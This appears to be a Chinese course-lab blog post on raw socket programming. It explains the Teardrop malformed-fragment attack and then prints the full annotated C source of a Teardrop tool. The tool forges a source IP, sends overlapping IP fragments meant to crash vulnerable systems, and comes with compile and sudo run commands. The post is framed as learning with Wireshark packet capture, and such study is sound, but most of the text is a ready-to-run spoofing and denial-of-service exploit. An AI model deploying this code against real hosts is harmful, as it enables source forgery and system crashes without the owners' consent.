目录

  • 一、实验相关概念
    • (一)原始套接字含义
    • (二)Teardrop攻击
  • 二、步骤
    • 1.配置VMware
    • 2.编写Teardrop.c程序
    • 3.编译运行
    • 4.抓包分析
  • 三、其它

实验目的:学习“原始套接字编程”中的Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入Fake News。发送此包。并用wireshark抓包进行验证。
实验环境:Ubuntu18.04(配备gcc编译器),wireshark等抓包软件
参考资料:《网络编程技术》

一、实验相关概念

(一)原始套接字含义

原始套接字含义就是在传输层之下使用的套接字。它提供了几个其它功能:
1)使用原始套接字可以读写ICMP和IGMP协议的数据包,如Ping程序。
2)使用原始套接字可以读写特殊IP的数据包,Linux内核并不处理这些特殊数据包的IP协议字段。
3)利用原始套接字,可以使用IP_HDRINCL套接字选项构造自定义的IP数据包头部,可以编写基于IP协议的高层网络协议。

(二)Teardrop攻击

Teardrop攻击是一种畸形报文攻击。是基于UDP的攻击方法,其工作原理是向被攻击者发送多个分片的IP包,并且使分片的IP包数据部分发生重叠偏移。某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
对于Windows系统会导致蓝屏死机,并显示STOP 0x0000000A错误。
Teardrop攻击_百度百科

二、步骤

1.配置VMware

将Ubuntu设置为桥接模式
看第二章Ubuntu网络配置

2.编写Teardrop.c程序

vim Teardrop.c

代码如下:
也可以网上自行查找

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */#define IP_MF 0x2000  /* More IP fragment en route */
#define IPH 0x14    /* IP header size */
#define UDPH 0x8     /* UDP header size */
#define PADDING  0x1c    /* datagram frame padding for first packet */
#define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT 0x1
/* Linux dies with 1, NT is more stalwart and can* withstand maybe 5 or 10 sometimes...  Experiment.*///错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);//主函数
int main(int argc,char **argv)
{int one = 1, count = 0, i, rip_sock;//定义无符号长整型源 IP 和目的 IPu_long src_ip = 0, dst_ip = 0;//定义无符号短整型源端口号和目的端口号u_short src_prt = 0, dst_prt = 0;struct in_addr addr;printf("teardrop route|daemon9\n\n");/*创建一个原始套接字AF_INET——IPv4地址;SOCK_RAW——原始的套接字类型IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET每个电脑里面都会有一个描述符表,对应套接字如果创建失败,将错误消息输出到屏幕然后退出程序*/if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0){fprintf(stderr,"raw socket");exit(1);}/*设置原始套接字选项 IP_HDRINCL如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部这个情况是我们所不需要的,我们需要自己编写 IP 包*/if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0){fprintf(stderr,"IP_HDRINCL");exit(1);}/*如果程序运行时送给main函数的命令行参数个数小于 3 个,调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名*/if(argc < 3)usage(argv[0]);//调用 name_resolve 函数设置源 IP 和目的 IP if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))){fprintf(stderr,"What the hell kind of IP address is that?\n");exit(1);}/*调用 getopt 函数分析命令行参数,该函数的参数含义:——命令行参数个数(argc)——命令行参数内容(argv)——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数getopt 函数处理不符合 optstring 指定的选项并将选项后的参数保存在 optarg 中然后返回选项的 ASCLL 码atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符)如果不能转化为十进制,则返回 0 ,值过大返回 -1该循环语句是为了从命令行传端口值*/while((i = getopt(argc, argv, "s:t:n:")) != EOF){switch (i){case 's'://源端口(重点)src_prt = (u_short)atoi(optarg);break;case 't'://目的端口 (DNS,任何人?)dst_prt = (u_short)atoi(optarg);break;case 'n'://设置发送包的个数count = atoi(optarg);break;default:usage(argv[0]);break;}}/*srandom 函数:设置种子值(以“当前时间 + 进程 ID”作为种子)如果前面设置的源端口和目的端口是零,则随机赋值*/srandom((unsigned)(utimes("0",(time_t)0)));if(!src_prt)src_prt = (random() % 0xffff);//设置随机源端口号if(!dst_prt)dst_prt = (random() % 0xffff);//设置随即目的端口号if(!count)count = COUNT;//设置默认为一个包//inet_ntoa 函数:将一个IP转换成一个互联网标准点分格式的字符串printf("Death on flaxen wings:\n");addr.s_addr = src_ip;//给对象 addr 的成员变量赋值printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);printf("Amt:%5d\n",count);printf("[\n");/*循环调用 send_frags 函数每一次循环完了后睡眠 0.5 s*/for (i = 0; i < count; i++){send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);usleep(500);}printf("]\n");return (0);
}//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针u_char byte;//无符号字符储存二进制struct sockaddr_in sin;sin.sin_family = AF_INET;//IPv4地址sin.sin_port = src_prt;//源端口sin.sin_addr.s_addr = dst_ip;//目的 IP/*malloc 函数:原型:extern void *malloc(unsigned int num_bytes);功能:分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块)说明:分配成功则返回指向被分配内存的指针,否则返回空指针 NULL*/packet = (u_char *)malloc(IPH + UDPH + PADDING);p_ptr = packet;//指向 IP 包内存地址flag = packet;/*bzero 函数:原型:extern void bzero(void *s, int n);功能:置字节字符串前n个字节为零且包括‘\0’,无返回值这里是将 IP 包的 56 个字节全部至空*/bzero((u_char *)p_ptr,IPH + UDPH + PADDING);/*设置 IP 包的Version(版本)和Hlen(长度)大多数的 IP 包都是以 4500 开头的(十六进制) */byte = 0x45;/*memcpy 函数:原型:void *memcpy(void *destin, void *source, unsigned n);功能:从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中即从源source中拷贝n个字节到目标destin中这里是指从 byte 的内容(0x45)拷贝到 IP 包中*/memcpy(p_ptr, &byte, sizeof(u_char));p_ptr += 2;// 此时默认 IP 包的 TOS(优先级)为 0/*FIX 函数(htons 函数的别名)htons 函数:将一个无符号短整型的主机数值转换为网络字节顺序即大尾顺序(big-endian)这里是设置 Datagram Total Length(IP 包总长度)*/*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);p_ptr += 2;//这是是设置 identifier(IP 包标识)*((u_short *)p_ptr) = htons(242);//IP idp_ptr += 2;//这里设置 Flags(标志)*((u_short *)p_ptr) |= FIX(IP_MF);p_ptr += 2;//设置 TTL (存活期)*((u_short *)p_ptr) = 0x40;//设置 Protocol(协议)byte = IPPROTO_UDP;memcpy(p_ptr + 1, &byte, sizeof(u_char));//IP 的校验码由实时操作系统设置p_ptr += 4;//设置 IP 包的 Source Address(源地址)*((u_long *)p_ptr) = src_ip;p_ptr += 4;//设置 IP 包的 Destination Address(目的地址)*((u_long *)p_ptr) = dst_ip;p_ptr += 4;//设置 UDP 的源端口*((u_short *)p_ptr) = htons(src_prt);p_ptr += 2;//设置 UDP 的目的端口*((u_short *)p_ptr) = htons(dst_prt);p_ptr += 2;//设置 UDP 的数据长度*((u_short *)p_ptr) = htons(PADDING);p_ptr += 4;/*设置要发送的数据:Fake News根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73*/*((u_short *)p_ptr) = 0x46;p_ptr++;*((u_short *)p_ptr) = 0x61;p_ptr++;*((u_short *)p_ptr) = 0x6B;p_ptr++;*((u_short *)p_ptr) = 0x65;p_ptr++;*((u_short *)p_ptr) = 0x20;p_ptr++;*((u_short *)p_ptr) = 0x4E;p_ptr++;*((u_short *)p_ptr) = 0x65;p_ptr++;*((u_short *)p_ptr) = 0x77;p_ptr++;*((u_short *)p_ptr) = 0x73;/*sendto 函数:指向一指定目的地发送数据将指定字节数的数据发送到指定的终结点sendto()适用于发送未建立连接的UDP数据报(参数为SOCK_DGRAM)返回值:为整型,如果成功,则返回发送的字节数,失败则返回SOCKET_ERROR发送 IPv4 包,下面这个条件语句发送失败才会执行*/int i=1;while(i <= 56){printf("%x\t",*flag);flag++;if(0 == i%8)printf("\n");i++;}if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1){fprintf(stderr, "\nsendto");free(packet);//释放 packet 指针exit(1);}//IP 包总长度是2字节,放进头部p_ptr = &packet[2];*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);//IP offset is 6 bytes into the headerp_ptr += 4;*((u_short *)p_ptr) = FIX(MAGIC);//发送 UDP 包,下面这个条件语句发送失败才会执行if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1){fprintf(stderr, "\nsendto");free(packet);exit(1);}free(packet);
}//获取主机信息
u_long name_resolve(u_char *host_name)
{struct in_addr addr;//32位 IPv4 地址struct hostent *host_ent;/*gethostbyname 函数:返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针bcopy 函数:将第一个参数(字符串)的前n(第三个参数)个字节复制到第二个参数中*/if((addr.s_addr = inet_addr(host_name)) == -1){if(!(host_ent = gethostbyname(host_name)))return (0);bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);}return (addr.s_addr);
}//错误处理函数
void usage(u_char *name)
{fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many  ]\n",name);exit(0);
}

3.编译运行

由于 Teardrop 程序是自创一个 IP 包,涉及到底层的协议,所以需要超级用户权限。IP地址可随意写。

gcc Teardrop.c -o Teardrop
sudo ./Teardrop 110.110.110.110 120.120.120.120

运行效果为:

4.抓包分析

通过抓包来分析IP包。

三、其它

Teardrop攻击是一个学习IP包以及UDP的很好的教材。
网络通信编程11and12_1
上一篇:TCP和HTTPS抓包分析
下一篇:两个socket实例应用

通过Teardrop学习网络通信编程相关推荐

  1. 网络通信编程学习笔记(六):socket编程实战

    目录 一.wireshark抓包分析TCP协议 1.1.TCP协议的连接与断开简介 1.2.用wireshark抓取使用TCP协议传输的握手包 二.用Teardrop代码编写一个假包,并抓取 2.1. ...

  2. JavaSE入门学习47:Socket网络通信编程(一)

    今天既然我们学习Java的Socket网络通信编程,那么在我们的现实生活中那些是Socket编程的应用呢?可以想象 我们最常用的聊天工具软件QQ就是,当然MSN也是啦. 一网络基础知识 两台计算机通过 ...

  3. Java程序员从笨鸟到菜鸟之(十三)java网络通信编程

    首先声明一下,刚开始学习Java网络通信编程就对他有一种畏惧感,因为自己对网络一窍不通,所以...呵呵..你懂得,昨天又仔细的学习了一遍,感觉其实java网络编程也没想象的那么难,不信,咱一起看看.. ...

  4. 学习Java编程入门书籍

    <Head First Java> <Head First Java>被亚马逊评为十大好书之一.在京东计算机类书籍中热度排名第16位,在Java类书籍中排名第2位.豆瓣评分为8 ...

  5. cocos网络通信php,Cocos2D-X服务器的网络通信编程

    我们在学习Cocos2d-x的时候经常会需要配置服务端与客户端的网络通讯,本篇教程将作为一个Cocos2D-X的网络实例,来为大家讲解如何实现Cocos2D-X服务器的网络通信编程. 这里采用Apac ...

  6. Java网络编程 ---- TCP 网络通信编程

    视频:[零基础 快速学Java]韩顺平 零基础30天学会Java 文章目录 1. Socket 2. TCP 网络通信编程 3. 应用案例 1(使用字节流) 4. 应用案例 2(使用字节流) 5. 应 ...

  7. 如何学习linux编程

    如果想学习UNIX/LINUX的编程,<APUE>绝对经典的教材,加深一下功底,学习<UNP>的第二卷.这样基本上系统方面的就可以掌握了.如果继续网络编程,建议看<TCP ...

  8. 学习Java编程培训的书籍有哪些

    学习java技术除了线上线下的培训学习,书籍的知识也是非常重要的,今天小编为大家整理的就是学习Java的一些书籍,Java书籍是程序员学习提升技能的重要学习渠道,通过书籍Java程序员可以学习当前流行 ...

  9. 学习Python编程开发可以从事的岗位有哪些?

    Python编程技术在人工智能领域的发展有目共睹,很多人都想学习Python技术,而且从事Python开发,所从事的工作机会和工作岗位及工作内容可选择的余地很多,未来发展空间也很大.下面我们就来详细的 ...

最新文章

  1. 2.c语言编译预处理,c语言第03章-编译预处理2.ppt
  2. SDM450+android8.1播放左声道音频文件和右声道音频文件,左右喇叭都有声音问题
  3. android 光晕动画,Android去掉SrollView、GrdiView、RecycleView、ViewPager等可滑动控件滑动到边缘的光晕效果...
  4. java tcp发消息给硬件_java – TCP客户端/服务器通信只发送第一条消息?
  5. PLM中BOM核心技术的研究[转]
  6. Python3 模块相关及输入输出模式
  7. Java可以用到军事方面吗_恭喜遥三运载火箭发射成功,浅谈java在军事方面的运用!...
  8. linux ssh客户端_Linux终端连接Linux服务器
  9. CodeForces 670C Cinema
  10. iOS通过CIFilter对图像进行滤镜处理
  11. JDKAndroid下载安装
  12. 僵尸网络“Mykings”
  13. NoSQLBooster for MongoDB基本使用步骤
  14. HUAWEI 机试题:黑板上的数涂颜色
  15. gin框架的环境搭建和热加载
  16. echarts柱形图x轴y轴互换_Echarts如何只改变X轴和Y轴的图表区域的背景颜色
  17. Linux系统安全及应用-grub菜单启用密码限制10
  18. 致敬最美逆行者网页设计作品 大学生抗疫感动专题网页设计作业模板 疫情感动人物静态HTML网页模板下载
  19. AndroidStudyDemo之Android4.x介绍
  20. RecycledView三种Linear,Grid,Staggered

热门文章

  1. CSDN学生大本营“每日进步”文章
  2. oracle怎么判断逻辑读,如何查看Oracle数据库物理读、逻辑读前10的sql?
  3. 基于python的中文词频分析
  4. django实现qq一键登录(qq互联)
  5. 预测二手车的交易价格
  6. 【计算机毕业设计】137欢迪迈手机商城设计与实现
  7. Linux 安装 MySQL 8.0 并配置远程登录
  8. DTI脑网络构建 详细介绍处理过程以及PANDA的使用
  9. msc.marc的Python开发,MscMarc,python,2
  10. jenkins下载插件失败的解决方案